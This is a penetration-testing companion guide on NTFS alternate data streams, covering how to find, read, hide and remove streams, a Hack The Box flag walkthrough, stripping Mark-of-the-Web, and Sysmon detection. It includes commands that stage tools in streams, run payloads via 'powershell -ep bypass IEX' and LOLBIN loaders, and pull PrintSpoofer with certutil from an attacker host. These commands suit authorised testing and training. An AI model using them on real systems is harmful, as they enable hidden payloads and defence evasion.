alternate-data-streams-guide.md (24590B)
1 --- 2 title: "NTFS Alternate Data Streams — Hiding & Finding Hidden Data" 3 description: "Windows NTFS Alternate Data Streams (ADS): what they are, reading and writing them, finding streams other users hid (dir /r, Get-Item -Stream, streams.exe), Mark-of-the-Web, and a worked HTB example of digging a flag out of a stream." 4 category: pentest-workflow 5 subcategory: "Companion Guides" 6 order: 26 7 tags: ["htb", "cpts", "windows", "ads", "alternate-data-streams", "ntfs", "mark-of-the-web", "forensics", "pentest-workflow", "motw", "zone-identifier", "lolbin", "sysmon", "defense-evasion"] 8 tools: ["streams.exe", "streams64.exe", "wmic", "forfiles"] 9 difficulty: intermediate 10 updated: "2026-09-25" 11 source: "vault:NTFS ADS tradecraft" 12 --- 13 14 [← Windows PrivEsc cheat sheet](/sheets/pentest-workflow/privilege-escalation) · [Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Windows PrivEsc master guide](/sheets/privilege-escalation/windows-privesc) · [← Potato Attacks guide](/sheets/pentest-workflow/potato-attacks-guide) 15 16 # NTFS Alternate Data Streams — Hiding & Finding Hidden Data 17 18 > [!dashboard] What this is 19 > NTFS Alternate Data Streams (ADS) let a file carry extra content that a normal directory listing never shows. On offense, that's a place to stage a payload off a directory listing and strip Mark-of-the-Web before you run it — a trick usually paired with the [Potato Attacks guide](/sheets/pentest-workflow/potato-attacks-guide) once you've got a privileged shell. On the other side of the same coin, it's where CTF flags, credentials, and second-stage tooling get hidden, and where a downloaded file's origin gets recorded — so knowing how to *find* a stream matters as much as knowing how to hide one. They're a legitimate NTFS feature, quietly used (and abused) for both since Windows NT. 20 21 ## What an ADS actually is 22 23 On NTFS, every file has at least one data stream — the **default (unnamed) stream** that holds the content you normally see. NTFS lets you attach additional **named streams** to the same file. The main file keeps its name and its reported size; the extra streams ride along invisibly. 24 25 **Syntax:** `filename:streamname:streamtype` 26 27 Common stream types: 28 29 | Type | Purpose | 30 |---|---| 31 | `$DATA` | Actual data content — by far the most common, and what you'll use | 32 | `$INDEX_ALLOCATION` | Directory indexes (attaching this to a name creates a directory-like object) | 33 | others | Assorted NTFS metadata streams | 34 35 Why it matters to both sides of the keyboard: 36 37 - **Invisible to normal listings.** Plain `dir` and Explorer don't show streams — you need `dir /r` or PowerShell's `-Stream`. 38 - **They don't change the file's reported size.** The host file still shows its original size; the stream's bytes aren't counted. 39 - **They travel with the file on NTFS**, and are **silently stripped** when the file crosses to FAT32/exFAT, most network shares, email, or an HTTP upload. Handy for evasion; a trap if you rely on a stream surviving a copy. 40 - **No special permission needed.** If you can write the file, you can add a stream to it. Reading one someone else hid just needs read access to the host file, same as normal. 41 42 --- 43 44 ## Finding & enumerating streams `fas:MagnifyingGlass` 45 46 This is the question that actually comes up on an engagement or a box: *does this file — or this whole directory tree — have anything hidden on it?* Plain `dir` and Explorer will never tell you. Four ways to ask, from the always-available one-liner up to a full-drive sweep. 47 48 ### `dir /r` — one directory, no tooling required 49 50 ```batch 51 :: cmd — /r reveals streams next to each file (look for the "file:stream:$DATA" lines) 52 dir /r C:\Users\Administrator\Desktop 53 ``` 54 55 A tell-tale stream line looks like this — a file whose visible content is tiny, carrying a named `$DATA` stream beside it: 56 57 ```text 58 36 hm.txt 59 34 hm.txt:root.txt:$DATA 60 ``` 61 62 That second line is the whole discovery: `hm.txt` has a named stream called `root.txt`. Nothing about the plain `36 hm.txt` line hints at it. 63 64 ### `dir /s /r` — the same thing, recursively 65 66 Add `/s` to walk every subdirectory instead of checking one folder at a time — the reflex to use once you land somewhere and want to sweep the whole profile or drive in one shot: 67 68 ```batch 69 :: Every file, every subfolder, streams and all — a whole profile in one command 70 dir /s /r C:\Users\Administrator 71 72 :: Narrow the noise: only the indented stream lines out of the full listing 73 dir /s /r C:\Users\Administrator | findstr /R /C:":.*\$DATA$" 74 ``` 75 76 `dir /r` only lists **named** streams (the file's own content is the unnamed `::$DATA` default stream and is *not* printed as a separate line), so the single `findstr` above — regex mode, `\$` escaping the literal `$` and the trailing `$` anchoring end-of-line — keeps just the `file:streamname:$DATA` lines and drops the ordinary directory chatter. No second filter is needed. 77 78 > [!warning]+ `dir /s /r` is loud and can be slow on a big tree 79 > `fas:TriangleExclamation` 80 > Recursing an entire user profile or `C:\` is fine on a CTF box; on a real engagement it's a lot of filesystem I/O and (without the `findstr` filter above) a wall of output that buries the one line you care about. Scope it to the directories that matter — profile roots, web roots, `Temp` — rather than reflexively pointing it at `C:\`. 81 82 ### PowerShell — cleanest output, easiest to filter 83 84 ```powershell 85 # One file 86 Get-Item C:\Windows\Temp\notes.txt -Stream * 87 88 # A whole tree, filtered to only files that actually carry an extra stream — 89 # prints exactly the file + stream name, nothing else 90 Get-ChildItem C:\Users -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object { 91 Get-Item -LiteralPath $_.FullName -Stream * -ErrorAction SilentlyContinue 92 } | Where-Object Stream -ne ':$DATA' | Select-Object FileName, Stream, Length 93 ``` 94 95 The `Select-Object` at the end is the difference between a readable table (`FileName`, `Stream`, `Length`) and a wall of default property dumps — worth keeping when you're sweeping anything bigger than a single directory. 96 97 ```powershell 98 # Shorthand of the same sweep with the standard aliases (gci/%/?) — quick to type at a prompt 99 gci C:\Users -Recurse -File -ErrorAction SilentlyContinue | 100 % { Get-Item -LiteralPath $_.FullName -Stream * -ErrorAction SilentlyContinue } | 101 ? Stream -ne ':$DATA' | Select FileName, Stream, Length 102 ``` 103 104 `-File` keeps `Get-Item -Stream *` off directories (which can carry streams of their own and throw on the pipe); the fuller form above is the one to script, this is the one to fire from muscle memory. 105 106 ### Sysinternals `streams.exe` — purpose-built, no scripting needed 107 108 ```batch 109 :: Recursive sweep, quiet banner 110 streams.exe -nobanner -s C:\Users 111 112 :: A single file 113 streams.exe -nobanner C:\Windows\Temp\notes.txt 114 ``` 115 116 `streams64.exe` is the same tool for 64-bit targets if the plain binary won't run. Not bundled here — grab it from [Microsoft's Sysinternals downloads](https://learn.microsoft.com/sysinternals/downloads/streams) (or land it via SMB/`certutil` per the [Potato Attacks guide's delivery section](/sheets/pentest-workflow/potato-attacks-guide#delivery--getting-a-potato-onto-the-box-and-running-it-fasrocketlaunch) — the same transport tricks apply to any tool, not just potatoes). 117 118 ### Which one to reach for 119 120 | Method | Recursive? | Needs | Best for | 121 |---|---|---|---| 122 | `dir /r` | No (one directory) | Nothing — always available | Quick check on a directory you're already looking at | 123 | `dir /s /r` (+ `findstr` filter) | Yes | Nothing — always available | Sweeping a whole profile/tree from cmd with no extra tooling, non-interactive shells | 124 | PowerShell `Get-Item`/`Get-ChildItem -Stream` | Optional (both shown above) | PowerShell | Cleanest, filterable, scriptable output — the one to reach for when you're already in a PS session | 125 | `streams.exe` / `streams64.exe` | Yes (`-s`) | The binary itself (not built in) | Purpose-built recursive sweep when you'd rather not write a PowerShell one-liner, or from cmd on a box you don't want to touch with PowerShell | 126 127 > [!tip]+ In a non-interactive shell (a potato firing one command and exiting) 128 > `fas:Lightbulb` 129 > All four work the same way as anything else non-interactive: redirect to a file you can read back. `dir /s /r C:\Users\Administrator > ads.txt 2>&1` then `type ads.txt` — exactly the pattern used throughout the [Potato Attacks guide's field method](/sheets/pentest-workflow/potato-attacks-guide#4--fire-it-non-interactively-and-actually-read-the-output-fasterminal). 130 131 --- 132 133 ## Reading a stream 134 135 Once you know the stream's name (from `dir /r` or `-Stream *`), read it: 136 137 ```batch 138 :: cmd — the classic 139 more < "C:\Windows\Temp\notes.txt:hidden:$DATA" 140 ``` 141 142 ```powershell 143 # PowerShell — cleanest 144 Get-Content C:\Windows\Temp\notes.txt -Stream hidden 145 146 # notepad opens a named stream directly 147 notepad C:\Windows\Temp\notes.txt:hidden 148 ``` 149 150 > [!warning]+ `more <` needs the redirect — a direct path won't work 151 > `fas:TriangleExclamation` 152 > `more C:\path\file.txt:stream` (no `<`) fails; `type file.txt:stream` also fails on most builds. The reliable cmd form is `more < "path:stream"`, using input redirection rather than passing the ADS path as a normal argument. 153 154 `more <` handles cmd; for a binary payload staged in a stream, PowerShell reads the bytes back out — but the byte switch was renamed between versions, so pin the right one: 155 156 ```powershell 157 # Windows PowerShell 5.1 (default on most targets) — byte-exact extract 158 Get-Content C:\Windows\Temp\log.txt -Stream g.exe -Encoding Byte -Raw | 159 Set-Content C:\Windows\Temp\g.exe -Encoding Byte 160 161 # PowerShell 7+ renamed the switch to -AsByteStream (-Encoding Byte errors there) 162 Get-Content C:\Windows\Temp\log.txt -Stream g.exe -AsByteStream -Raw | 163 Set-Content C:\Windows\Temp\g.exe -AsByteStream 164 ``` 165 166 Check `$PSVersionTable.PSVersion` first — mixing the two switches is the usual reason a binary extract comes out empty or mangled. For text, plain `Get-Content -Stream <name>` (already shown above) is enough. 167 168 --- 169 170 ## Finding hidden data — a worked example 171 172 The scenario above (`hm.txt` with a `root.txt:$DATA` stream) is a real one, from HTB Jeeves, and it's the exact shape almost every "hidden flag" or "hidden credential" ADS challenge takes: a small, boring-looking file sitting next to something that matters. Walking through it end to end: 173 174 **1. You get a shell in a context that can see the file** — here, `NT AUTHORITY\SYSTEM`, reached via the potato chain worked through in the [Potato Attacks guide's field method](/sheets/pentest-workflow/potato-attacks-guide#5--once-youre-system-fasmagnifyingglass). If you're already Administrator/SYSTEM (or it's just your own file), skip straight to step 2. 175 176 **2. Sweep for streams instead of trusting a plain `dir`:** 177 178 ```batch 179 dir /r C:\Users\Administrator\Desktop 180 ``` 181 ```text 182 Directory of C:\Users\Administrator\Desktop 183 184 11/08/2017 10:05 AM <DIR> . 185 11/08/2017 10:05 AM <DIR> .. 186 12/24/2017 03:51 AM 36 hm.txt 187 34 hm.txt:root.txt:$DATA 188 11/08/2017 10:05 AM 797 Windows 10 Update Assistant.lnk 189 2 File(s) 833 bytes 190 ``` 191 192 The `hm.txt:root.txt:$DATA` line is the tell — a 34-byte stream named `root.txt` riding on a 36-byte host file that gives no other hint it's there. 193 194 **3. Read the stream directly:** 195 196 ```batch 197 more < hm.txt:root.txt 198 ``` 199 200 That's the whole technique — no potato, no privilege escalation needed *for this step*; the only privilege that mattered was whatever let you read `hm.txt` in the first place (here, being SYSTEM to reach another user's Desktop). 201 202 **4. From a non-interactive shell** (a potato firing one command and exiting, a web shell, anything without a live prompt), redirect both the listing and the read to files you can pull back: 203 204 ```batch 205 :: find it 206 ... "/c dir /r C:\Users\Administrator\Desktop > C:\Users\kohsuke\ads.txt 2>&1" 207 type C:\Users\kohsuke\ads.txt 208 209 :: read it 210 ... "/c more < C:\Users\Administrator\Desktop\hm.txt:root.txt > C:\Users\kohsuke\flag.txt 2>&1" 211 type C:\Users\kohsuke\flag.txt 212 ``` 213 214 > [!success]+ The pattern, generalised 215 > `fas:Lightbulb` 216 > 1. **`dir /r` (or the PowerShell/`streams.exe` sweep) on every directory you land in that you haven't checked** — Desktop, Documents, profile roots, web roots. A tiny file next to something sensitive-sounding is the classic tell. 217 > 2. **`more < file:stream`** reads it once you have the stream name. No stream name shown by `dir /r`? You don't have one — move on. 218 > 3. **No live shell?** Redirect the command's own output to a file (`> out.txt 2>&1`) and `type`/pull it back, exactly like any other non-interactive command. 219 220 --- 221 222 ## Writing / staging into a stream 223 224 The reverse of the above — this is how those hidden files get created in the first place, and how you'd stage your own payload the same way. 225 226 ```batch 227 :: Hide text 228 echo secret-loot-here > "C:\Windows\Temp\notes.txt:stash" 229 230 :: Stash a binary inside an innocuous host file (NTFS→NTFS copy) 231 type C:\Tools\GodPotato-NET4.exe > "C:\Windows\Temp\log.txt:g.exe" 232 ``` 233 234 ```powershell 235 # PowerShell staging 236 Set-Content -Path C:\Windows\Temp\notes.txt -Stream stash -Value 'secret-loot-here' 237 ``` 238 239 > [!warning]+ Running an EXE straight from a stream is mostly dead on modern Windows 240 > `fas:TriangleExclamation` 241 > Older Windows let you launch a process whose image *was* an ADS. Current builds block that — `start file.txt:g.exe` / `Start-Process` against a stream fails. So use ADS for **staging and hiding**, then **copy the payload back out to a normal file to execute it**: 242 > ```batch 243 > type C:\Tools\GodPotato-NET4.exe > C:\Windows\Temp\log.txt:g.exe :: hide 244 > more < C:\Windows\Temp\log.txt:g.exe > C:\Windows\Temp\g.exe :: extract to run 245 > C:\Windows\Temp\g.exe -cmd "cmd /c whoami" 246 > ``` 247 > Script and DLL loaders (`powershell`, `wscript`/`cscript`, `rundll32`, `regsvr32`) can still be *fed* from a stream via LOLBINs, but the reliable, portable pattern is stage-in-stream → extract → run. See the [Potato Attacks guide](/sheets/pentest-workflow/potato-attacks-guide) for what to do once you're running as SYSTEM. 248 249 ### Executing from a stream — legacy vectors 250 251 The reliable path is still stage-in-stream → extract → run (shown in the warning above). The commands below are the older launch vectors people reach for — worth recognising, mostly hardened out now: 252 253 ```batch 254 :: Stage a binary into a stream on a bait file first 255 type C:\Tools\evil.exe > "C:\Temp\bait.txt:evil.exe" 256 257 :: --- Legacy image-launch vectors: historically ran the ADS as a process. --- 258 :: --- Blocked by modern CreateProcess hardening; kept here for recognition. --- 259 wmic process call create "C:\Temp\bait.txt:evil.exe" :: wmic is also deprecated/removed on recent Win11 260 forfiles /p C:\Temp /m bait.txt /c "cmd /c @path:evil.exe" :: historically cited; @path quoting makes it finicky — and CreateProcess blocks it anyway 261 ``` 262 263 > [!warning]+ These launch an *image* from a stream — the thing modern Windows kills 264 > `fas:TriangleExclamation` 265 > `wmic process call create` and `forfiles` both ultimately hit `CreateProcess` against the ADS image, which current builds refuse — the same block described above for `start`/`Start-Process`. On top of that `wmic` is deprecated and no longer present on recent Windows 11. Treat both as *legacy/CTF-era*; on a modern target fall back to the extract-then-run pattern. What still works is feeding a **content** loader that opens the stream and runs what it reads (the image is never executed directly): 266 > ```batch 267 > :: PowerShell reads the script text out of the stream and runs it — reliable 268 > powershell -ep bypass -c "IEX (Get-Content C:\Temp\bait.txt -Stream payload -Raw)" 269 > ``` 270 > ```batch 271 > :: WSH / DLL script loaders fed from a stream (LOLBIN, version- and AV-dependent) 272 > wscript //e:vbscript C:\Temp\bait.txt:payload.vbs 273 > rundll32 C:\Temp\bait.txt:payload.dll,EntryPoint 274 > ``` 275 > These survive the image-exec block because the interpreter/loader opens the file itself; they are still noisy and increasingly signatured. See the [Potato Attacks guide](/sheets/pentest-workflow/potato-attacks-guide) for what to run once you're SYSTEM. 276 277 --- 278 279 ## Mark-of-the-Web — the ADS you meet every engagement 280 281 Every file a browser or `Invoke-WebRequest` downloads gets a `Zone.Identifier` stream (Mark-of-the-Web). It's what makes SmartScreen and Defender treat a file as "from the internet." Reading it is a forensics staple; stripping it is an evasion staple. 282 283 ```powershell 284 # See where a downloaded file came from (blue-team / OSINT gold — often has the source URL) 285 Get-Content .\PrintSpoofer64.exe -Stream Zone.Identifier 286 287 # Strip MOTW so SmartScreen/Defender stop nagging (two equivalent ways) 288 Remove-Item .\PrintSpoofer64.exe -Stream Zone.Identifier 289 Unblock-File .\PrintSpoofer64.exe 290 ``` 291 292 ```batch 293 :: The stealthiest way to drop MOTW is to never create it: pull the tool with a 294 :: transport that doesn't write Zone.Identifier (SMB copy, certutil), not a browser. 295 certutil -urlcache -f http://10.10.14.3/PrintSpoofer64.exe C:\Windows\Temp\ps.exe 296 ``` 297 298 Zone.Identifier is a plain-text INI stream. Find and read it exactly like any other ADS: 299 300 ```batch 301 :: dir /r shows the MOTW stream by name on a downloaded file 302 dir /r .\PrintSpoofer64.exe 303 :: ... :Zone.Identifier:$DATA appears beside it 304 305 :: Read it from cmd (input redirect, same rule as any stream) 306 more < "PrintSpoofer64.exe:Zone.Identifier" 307 ``` 308 309 Typical contents — `ZoneId` is what SmartScreen/Defender act on; `ReferrerUrl`/`HostUrl` are recorded by many downloaders and are the blue-team/OSINT prize: 310 311 ```ini 312 [ZoneTransfer] 313 ZoneId=3 314 ReferrerUrl=https://example.com/downloads/ 315 HostUrl=https://cdn.example.com/PrintSpoofer64.exe 316 ``` 317 318 | ZoneId | Zone | Treated as | 319 |---|---|---| 320 | `0` | Local machine | Trusted | 321 | `1` | Local intranet | Mostly trusted | 322 | `2` | Trusted sites | Trusted | 323 | `3` | Internet | **Marked / restricted** — SmartScreen + Defender kick in | 324 | `4` | Restricted sites | Most restricted | 325 326 Anything `ZoneId=3` or `4` is "from the internet" and carries the mark. Bulk operations: 327 328 ```powershell 329 # Check presence without dumping content 330 Get-Item .\PrintSpoofer64.exe -Stream Zone.Identifier -ErrorAction SilentlyContinue 331 332 # Strip MOTW from an entire dropped toolkit at once 333 Get-ChildItem .\loot -Recurse -File | Unblock-File 334 335 # (Testing SmartScreen/Defender behaviour) put a mark back on a file 336 Set-Content -Path .\test.exe -Stream Zone.Identifier -Value "[ZoneTransfer]`r`nZoneId=3" 337 ``` 338 339 --- 340 341 ## Removing a stream 342 343 ```powershell 344 # Delete just one stream, keep the file 345 Remove-Item C:\Windows\Temp\notes.txt -Stream stash 346 ``` 347 348 ```batch 349 :: cmd has no native single-stream delete — round-trip through a non-NTFS 350 :: filesystem (copy off to FAT/exFAT and back) strips every stream at once. 351 ``` 352 353 Sysinternals `streams.exe` is the cmd-side answer — it deletes streams in place: 354 355 ```batch 356 :: Delete every stream from one file, keep the file (Sysinternals streams.exe) 357 streams.exe -nobanner -d C:\Windows\Temp\notes.txt 358 359 :: Recursively strip streams from a whole tree — cleanup / defensive scrub 360 streams.exe -nobanner -s -d C:\Users\Public 361 ``` 362 363 `-d` deletes; add `-s` to recurse. Unlike `Remove-Item -Stream <name>`, `streams -d` removes *all* named streams on the target(s) — precise for cleanup, blunt if you only meant to drop one. 364 365 --- 366 367 ## Detection, OPSEC & cleanup `fas:Shield` 368 369 > [!danger] Authorised testing only 370 > `fas:TriangleExclamation` 371 > Reading another user's files (even via a stream) and hiding artefacts on a real host both need explicit authorisation. Track every stream you create, with full paths, and remove it at cleanup. 372 373 **What the blue team sees:** 374 375 | Signal | Where | 376 |---|---| 377 | New `$DATA` streams appearing on files | Sysmon Event 15 (`FileCreateStreamHash`) | 378 | A downloaded tool's `Zone.Identifier` still naming your web server | ADS on the artefact itself | 379 | Unusual `dir /r` / `Get-Item -Stream *` / `streams.exe` invocations in command-line logging | Sysmon Event 1, PowerShell script-block logging | 380 381 **OPSEC notes:** 382 383 - ADS defeats a plain `dir` and a size check, not a defender who runs `dir /r` / `streams.exe` — treat it as *reduces casual visibility*, not *invisible*. 384 - Sysmon Event 15 logs stream creation by hash on a well-instrumented estate; don't assume staging in a stream is silent there. 385 386 **Hunting for hidden streams (blue team / IR):** 387 388 ```powershell 389 # Host sweep for every NAMED stream, skipping the default ::$DATA and benign MOTW 390 Get-ChildItem C:\ -Recurse -File -ErrorAction SilentlyContinue | 391 ForEach-Object { Get-Item -LiteralPath $_.FullName -Stream * -ErrorAction SilentlyContinue } | 392 Where-Object { $_.Stream -ne ':$DATA' -and $_.Stream -ne 'Zone.Identifier' } | 393 Select-Object FileName, Stream, Length 394 ``` 395 396 ```batch 397 :: Same idea with Sysinternals — streams takes ONE path per call, so loop for several 398 for %d in (C:\Users C:\ProgramData C:\Windows\Temp) do streams.exe -nobanner -s %d 399 ``` 400 401 > [!tip]+ What Event 15 does and doesn't catch 402 > `fas:Lightbulb` 403 > Sysmon Event 15 (`FileCreateStreamHash`) fires on stream **creation** and hashes the new stream — but only for paths/extensions the config actually scopes in, and it says nothing about a stream being **read**. So staging into a stream can be logged; digging a flag *out* of one usually isn't, at the file-event layer. The enumeration and read still surface in command-line logging (Sysmon Event 1) and PowerShell script-block logging — that's where `dir /r`, `Get-Item -Stream *`, `streams.exe`, and `Get-Content -Stream` show up. Pair Event 15 with those two for real coverage. 404 405 **Cleanup checklist:** 406 407 ```powershell 408 Remove-Item C:\Windows\Temp\log.txt -Stream g.exe -ErrorAction SilentlyContinue # the ADS 409 Remove-Item C:\Windows\Temp\notes.txt -Stream stash -ErrorAction SilentlyContinue 410 ``` 411 412 --- 413 414 ## Troubleshooting `fas:Wrench` 415 416 | Problem | Cause & fix | 417 |---------|-------------| 418 | `dir /r` shows no streams on a file you wrote one to | `dir /r` only lists streams in the *current* directory view; confirm you are in the right path, and note Explorer never shows them at all | 419 | `Get-Item -Stream *` errors on a path with brackets | PowerShell treats `[ ]` as wildcards. Use `-LiteralPath` instead of `-Path` | 420 | Cannot read a stream you know exists | The stream name is case-sensitive-ish and must be exact, including `:$DATA`. Enumerate first with `Get-Item -Stream *`, then copy the name verbatim | 421 | Data written to a stream vanishes on copy | ADS only survive on **NTFS**. Copying to FAT/exFAT, most USB sticks, a ZIP, or across SMB to a non-NTFS share silently drops the stream | 422 | `type file.txt:hidden.exe` fails to run it | `type` cannot execute; you must extract or invoke it properly (`wmic process call create`, `Start-Process`, or `makecab`/`extrac32` round-trip on older hosts) | 423 | Downloaded file "blocked" and scripts refuse to run | That is the `Zone.Identifier` MotW stream. `Unblock-File`, or delete the stream: `Remove-Item file -Stream Zone.Identifier` | 424 | Defender flags the file the moment you stage into a stream | AMSI/Defender inspects stream writes too (Sysmon Event 15 logs them). ADS is not an evasion primitive on a monitored host — treat it as storage, not stealth | 425 426 ## References `fas:BookOpen` 427 428 | Topic | Source | 429 |---|---| 430 | NTFS ADS / Mark-of-the-Web | [MITRE ATT&CK T1564.004](https://attack.mitre.org/techniques/T1564/004/) · [Sysinternals streams](https://learn.microsoft.com/sysinternals/downloads/streams) | 431 | Executing from ADS (LOLBIN loaders) | [LOLBAS project](https://lolbas-project.github.io/) · [MITRE T1218](https://attack.mitre.org/techniques/T1218/) | 432 | Mark-of-the-Web / Zone.Identifier | [Microsoft — About URL security zones](https://learn.microsoft.com/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms537183(v=vs.85)) · [Unblock-File](https://learn.microsoft.com/powershell/module/microsoft.powershell.utility/unblock-file) | 433 | Detecting ADS (Sysmon Event 15) | [Sysmon FileCreateStreamHash](https://learn.microsoft.com/sysinternals/downloads/sysmon#event-id-15-filecreatestreamhash) | 434 435 --- 436 437 [← Windows PrivEsc cheat sheet](/sheets/pentest-workflow/privilege-escalation) · [Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Windows PrivEsc master guide](/sheets/privilege-escalation/windows-privesc) · [← Potato Attacks guide](/sheets/pentest-workflow/potato-attacks-guide)